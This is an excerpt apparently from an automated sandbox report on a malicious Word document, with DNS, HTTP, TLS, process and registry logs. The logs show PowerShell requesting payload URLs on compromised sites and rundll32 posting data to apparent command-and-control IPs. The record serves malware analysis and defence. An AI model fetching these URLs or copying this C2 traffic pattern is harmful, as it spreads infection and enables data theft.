8.8.8.8 192.168.2.22 0x24c2 No error (0) shop.nowfal.dev 172.67.151.106 A (IP address) IN (0x0001)

Jan 26, 2021 
10:49:03.110487938 
CET

8.8.8.8 192.168.2.22 0x758f No error (0) e-wdesign.eu 45.138.97.75 A (IP address) IN (0x0001)

Jan 26, 2021 
10:49:03.270020008 
CET

8.8.8.8 192.168.2.22 0xf75c No error (0) traumfrauen-
ukraine.de

212.227.200.73 A (IP address) IN (0x0001)

Jan 26, 2021 
10:49:03.469562054 
CET

8.8.8.8 192.168.2.22 0xa343 No error (0) traumfrauen-
ukraine.de

212.227.200.73 A (IP address) IN (0x0001)

Jan 26, 2021 
10:49:03.813617945 
CET

8.8.8.8 192.168.2.22 0xe5d1 No error (0) jflmktg.wp
comstaging.com

192.0.78.20 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
nightlifemumbai.club

            
e-wdesign.eu

            
traumfrauen-ukraine.de

            
203.157.152.9

203.157.152.9:7080

            
157.245.145.87

157.245.145.87:443

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.22 49167 172.217.6.174 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp
kBytes
transferred Direction Data

Jan 26, 2021 
10:49:02.327931881 CET

0 OUT GET /x/0wBD3/ HTTP/1.1
Host: nightlifemumbai.club
Connection: Keep-Alive

HTTP Request Dependency Graph

HTTP Packets
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Jan 26, 2021 
10:49:02.481854916 CET

1 IN HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
Referrer-Policy: no-referrer
Content-Length: 1569
Date: Tue, 26 Jan 2021 09:49:02 GMT
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 
74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 7
2 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 2
0 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 
35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 
64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 
69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 
3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 
6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 
73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 
72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 
6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 
3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 
28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 
61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 
74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 
5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 
66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 
6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 
77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 7
8 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 
20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 
2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 
6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 
65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 
65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77
77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 
Data Ascii: <!DOCTYPE html><html lang=en>  <meta charset=utf-8>  <meta name=viewport content="initial-scale=1, 
minimum-scale=1, width=device-width">  <title>Error 404 (Not Found)!!1</title>  <style>    *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a 
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com
/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-
min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.22 49169 45.138.97.75 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp
kBytes
transferred Direction Data

Jan 26, 2021 
10:49:03.152278900 CET

12 OUT GET /wp-content/bn1IgDejh/ HTTP/1.1
Host: e-wdesign.eu
Connection: Keep-Alive

Jan 26, 2021 
10:49:03.200124025 CET

13 IN HTTP/1.1 404 Not Found
Date: Tue, 26 Jan 2021 09:49:03 GMT
Server: Apache
Content-Length: 315
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 
74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 
75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 
75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 
20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 
68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 
61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 
Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founde
rror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.22 49170 212.227.200.73 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
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Timestamp
kBytes
transferred Direction Data

Jan 26, 2021 
10:49:03.317182064 CET

13 OUT GET /bin/JyeS/ HTTP/1.1
Host: traumfrauen-ukraine.de
Connection: Keep-Alive

Jan 26, 2021 
10:49:03.405802965 CET

14 IN HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Tue, 26 Jan 2021 09:48:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
X-Powered-By: PHP/7.4.14
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Wed, 17 Aug 2005 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: 4bf06e271745b22ffd3a18c8d5fc8b33=a9tvcg65pn3j8tenk2k72rfcr5; path=/; secure; HttpOnly
X-Content-Type-Options: nosniff
Location: https://traumfrauen-ukraine.de/bin/JyeS/
Last-Modified: Tue, 26 Jan 2021 09:48:54 GMT
X-Powered-By: PleskLin

Jan 26, 2021 
10:49:03.650773048 CET

19 IN HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Tue, 26 Jan 2021 09:48:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
X-Powered-By: PHP/7.4.14
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Wed, 17 Aug 2005 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: 4bf06e271745b22ffd3a18c8d5fc8b33=a9tvcg65pn3j8tenk2k72rfcr5; path=/; secure; HttpOnly
X-Content-Type-Options: nosniff
Location: https://traumfrauen-ukraine.de/bin/JyeS/
Last-Modified: Tue, 26 Jan 2021 09:48:54 GMT
X-Powered-By: PleskLin

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.22 49175 203.157.152.9 7080 C:\Windows\SysWOW64\rundll32.exe

Timestamp
kBytes
transferred Direction Data

Jan 26, 2021 
10:49:29.600352049 CET

741 OUT POST /fp6mnzkaqr6g444l/72u9p3zs7/g2jlp29e1gun28tdsj/98qlj89cyfd5f3jv/gfxmq8g7uq109a/ HTTP/1.1
DNT: 0
Referer: 203.157.152.9/fp6mnzkaqr6g444l/72u9p3zs7/g2jlp29e1gun28tdsj/98qlj89cyfd5f3jv/gfxmq8g7uq109a/
Content-Type: multipart/form-data; boundary=--------------------cs4PSNdop4ezuJ7KDL7q
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 203.157.152.9:7080
Content-Length: 6292
Connection: Keep-Alive
Cache-Control: no-cache

Jan 26, 2021 
10:49:30.774895906 CET

748 IN HTTP/1.1 200 OK
Server: nginx
Date: Tue, 26 Jan 2021 09:49:30 GMT
Content-Type: test/html; charset=UTF-8
Content-Length: 0
Connection: keep-alive
vary: Accept-Encoding

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.22 49176 157.245.145.87 443 C:\Windows\SysWOW64\rundll32.exe

Timestamp
kBytes
transferred Direction Data

Jan 26, 2021 
10:49:35.986354113 CET

749 OUT POST /gjk3j942rq/3t3141347sxz/js59r1n8zph/ HTTP/1.1
DNT: 0
Referer: 157.245.145.87/gjk3j942rq/3t3141347sxz/js59r1n8zph/
Content-Type: multipart/form-data; boundary=--------------dFTqLeLs5G7gBB
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 157.245.145.87:443
Content-Length: 5620
Connection: Keep-Alive
Cache-Control: no-cache

Copyright null 2021 Page 41 of 56



Code Manipulations

Jan 26, 2021 
10:49:36.791059017 CET

755 IN HTTP/1.1 200 OK
Server: nginx
Date: Tue, 26 Jan 2021 09:49:36 GMT
Content-Type: test/html; charset=UTF-8
Content-Length: 0
Connection: keep-alive
vary: Accept-Encoding

Timestamp
kBytes
transferred Direction Data

Timestamp Source IP
Source
Port Dest IP

Dest
Port Subject Issuer

Not
Before

Not
After

JA3 SSL Client
Fingerprint JA3 SSL Client Digest

Jan 26, 2021 
10:49:02.659636974 
CET

104.21.88.166 443 192.168.2.22 49168 CN=sni.cloudflaressl.com, 
O="Cloudflare, Inc.", L=San 
Francisco, ST=CA, C=US 
CN=Cloudflare Inc ECC CA-
3, O="Cloudflare, Inc.", 
C=US

CN=Cloudflare Inc ECC 
CA-3, O="Cloudflare, 
Inc.", C=US 
CN=Baltimore 
CyberTrust Root, 
OU=CyberTrust, 
O=Baltimore, C=IE

Sat Aug 
01 
02:00:00 
CEST 
2020 
Mon Jan 
27 
13:48:08 
CET 
2020

Sun Aug 
01 
14:00:00 
CEST 
2021 
Wed 
Jan 01 
00:59:59 
CET 
2025

769,49172-
49171-57-51-
53-47-49162-
49161-56-50-
10-19-5-4,0-10-
11-23-
65281,23-24,0

05af1f5ca1b87cc9cc9b25
185115607d

CN=Cloudflare Inc ECC CA-
3, O="Cloudflare, Inc.", 
C=US

CN=Baltimore 
CyberTrust Root, 
OU=CyberTrust, 
O=Baltimore, C=IE

Mon Jan 
27 
13:48:08 
CET 
2020

Wed 
Jan 01 
00:59:59 
CET 
2025

Jan 26, 2021 
10:49:03.562979937 
CET

212.227.200.73 443 192.168.2.22 49171 CN=*.traumfrauen-
ukraine.de CN=Encryption 
Everywhere DV TLS CA - 
G1, OU=www.digicert.com, 
O=DigiCert Inc, C=US

CN=Encryption 
Everywhere DV TLS 
CA - G1, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US 
CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Thu Mar 
19 
01:00:00 
CET 
2020 
Mon 
Nov 27 
13:46:10 
CET 
2017

Tue May 
18 
14:00:00 
CEST 
2021 
Sat Nov 
27 
13:46:10 
CET 
2027

769,49172-
49171-57-51-
53-47-49162-
49161-56-50-
10-19-5-4,0-10-
11-23-
65281,23-24,0

05af1f5ca1b87cc9cc9b25
185115607d

CN=Encryption Everywhere 
DV TLS CA - G1, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Mon 
Nov 27 
13:46:10 
CET 
2017

Sat Nov 
27 
13:46:10 
CET 
2027

Jan 26, 2021 
10:49:03.895838976 
CET

192.0.78.20 443 192.168.2.22 49172 CN=*.wpcomstaging.com 
CN=Sectigo RSA Domain 
Validation Secure Server 
CA, O=Sectigo Limited, 
L=Salford, ST=Greater 
Manchester, C=GB 
CN=USERTrust RSA 
Certification Authority, 
O=The USERTRUST 
Network, L=Jersey City, 
ST=New Jersey, C=US

CN=Sectigo RSA 
Domain Validation 
Secure Server CA, 
O=Sectigo Limited, 
L=Salford, ST=Greater 
Manchester, C=GB 
CN=USERTrust RSA 
Certification Authority, 
O=The USERTRUST 
Network, L=Jersey City, 
ST=New Jersey, C=US 
CN=AAA Certificate 
Services, O=Comodo 
CA Limited, L=Salford, 
ST=Greater 
Manchester, C=GB

Tue Sep 
29 
02:00:00 
CEST 
2020 Fri 
Nov 02 
01:00:00 
CET 
2018 
Tue Mar 
12 
01:00:00 
CET 
2019

Sun Oct 
31 
01:59:59 
CEST 
2021 
Wed 
Jan 01 
00:59:59 
CET 
2031 
Mon Jan 
01 
00:59:59 
CET 
2029

769,49172-
49171-57-51-
53-47-49162-
49161-56-50-
10-19-5-4,0-10-
11-23-
65281,23-24,0

05af1f5ca1b87cc9cc9b25
185115607d

CN=Sectigo RSA Domain 
Validation Secure Server 
CA, O=Sectigo Limited, 
L=Salford, ST=Greater 
Manchester, C=GB

CN=USERTrust RSA 
Certification Authority, 
O=The USERTRUST 
Network, L=Jersey City, 
ST=New Jersey, C=US

Fri Nov 
02 
01:00:00 
CET 
2018

Wed 
Jan 01 
00:59:59 
CET 
2031

CN=USERTrust RSA 
Certification Authority, 
O=The USERTRUST 
Network, L=Jersey City, 
ST=New Jersey, C=US

CN=AAA Certificate 
Services, O=Comodo 
CA Limited, L=Salford, 
ST=Greater 
Manchester, C=GB

Tue Mar 
12 
01:00:00 
CET 
2019

Mon Jan 
01 
00:59:59 
CET 
2029

HTTPS Packets
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Statistics

Behavior

• WINWORD.EXE

• cmd.exe

• msg.exe

• powershell.exe

• rundll32.exe

• rundll32.exe

• rundll32.exe

• rundll32.exe

• rundll32.exe

Click to jump to process

System Behavior

File ActivitiesFile Activities

Start time: 10:48:35

Start date: 26/01/2021

Path: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Wow64 process (32bit): false

Commandline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding

Imagebase: 0x13f3a0000

File size: 1424032 bytes

MD5 hash: 95C38D04597050285A18F66039EDB456

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\VBE read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 7FEE91826B4 CreateDirectoryA

File Path Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\~DFE588FDC3D6E53F50.TMP success or wait 1 7FEE90A9AC0 unknown

Old File Path New File Path Completion Count
Source
Address Symbol

Analysis Process: WINWORD.EXE PID: 2436 Parent PID: 584Analysis Process: WINWORD.EXE PID: 2436 Parent PID: 584

General

File CreatedFile Created

File DeletedFile Deleted
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Registry ActivitiesRegistry Activities

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

Key Path Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\Microsoft\VBA success or wait 1 7FEE90BE72B RegCreateKeyExA

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0 success or wait 1 7FEE90BE72B RegCreateKeyExA

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common success or wait 1 7FEE90BE72B RegCreateKeyExA

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options success or wait 1 7FEE90A9AC0 unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency success or wait 1 7FEE90A9AC0 unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery success or wait 1 7FEE90A9AC0 unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\F5264 success or wait 1 7FEE90A9AC0 unknown

Key Path Name Type Data Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\Microsoft\Shared 
Tools\Panose

Cambria Math binary 02 04 05 03 05 04 06 03 02 04 success or wait 1 7FEE90A9AC0 unknown

HKEY_CURRENT_USER\Software\Microsoft\Shared 
Tools\Panose

Tahoma binary 02 0B 06 04 03 05 04 04 02 04 success or wait 1 7FEE90A9AC0 unknown

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F5264

F5264 binary 04 00 00 00 84 09 00 00 2A 00 00 00 
43 00 3A 00 5C 00 55 00 73 00 65 00 
72 00 73 00 5C 00 41 00 6C 00 62 00 
75 00 73 00 5C 00 41 00 70 00 70 00 
44 00 61 00 74 00 61 00 5C 00 4C 00 
6F 00 63 00 61 00 6C 00 5C 00 54 00 
65 00 6D 00 70 00 5C 00 69 00 6D 00 
67 00 73 00 2E 00 68 00 74 00 6D 00 
04 00 00 00 69 00 6D 00 67 00 73 00 
00 00 00 00 01 00 00 00 00 00 00 00 
DB 27 CB EF 13 F4 D6 01 64 52 0F 
00 64 52 0F 00 00 00 00 00 DB 04 00 
00 02 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 FF FF FF FF 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 

success or wait 1 7FEE90A9AC0 unknown

Key CreatedKey Created

Key Value CreatedKey Value Created
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00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 FF FF FF FF 

Key Path Name Type Data Completion Count
Source
Address Symbol

Key Path Name Type Old Data New Data Completion Count
Source
Address Symbol

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

ProductFiles dword 1379532846 1379532847 success or wait 1 7FEE90A9AC0 unknown

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

ProductFiles dword 1379532847 1379532848 success or wait 1 7FEE90A9AC0 unknown

HKEY_CURRENT_USER\Softwa
re\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F5264

F5264 binary 04 00 00 00 84 09 00 00 2A 00 
00 00 43 00 3A 00 5C 00 55 
00 73 00 65 00 72 00 73 00 
5C 00 41 00 6C 00 62 00 75 
00 73 00 5C 00 41 00 70 00 
70 00 44 00 61 00 74 00 61 00 
5C 00 4C 00 6F 00 63 00 61 
00 6C 00 5C 00 54 00 65 00 
6D 00 70 00 5C 00 69 00 6D 

04 00 00 00 84 09 00 00 2A 00 
00 00 43 00 3A 00 5C 00 55 
00 73 00 65 00 72 00 73 00 
5C 00 41 00 6C 00 62 00 75 
00 73 00 5C 00 41 00 70 00 
70 00 44 00 61 00 74 00 61 00 
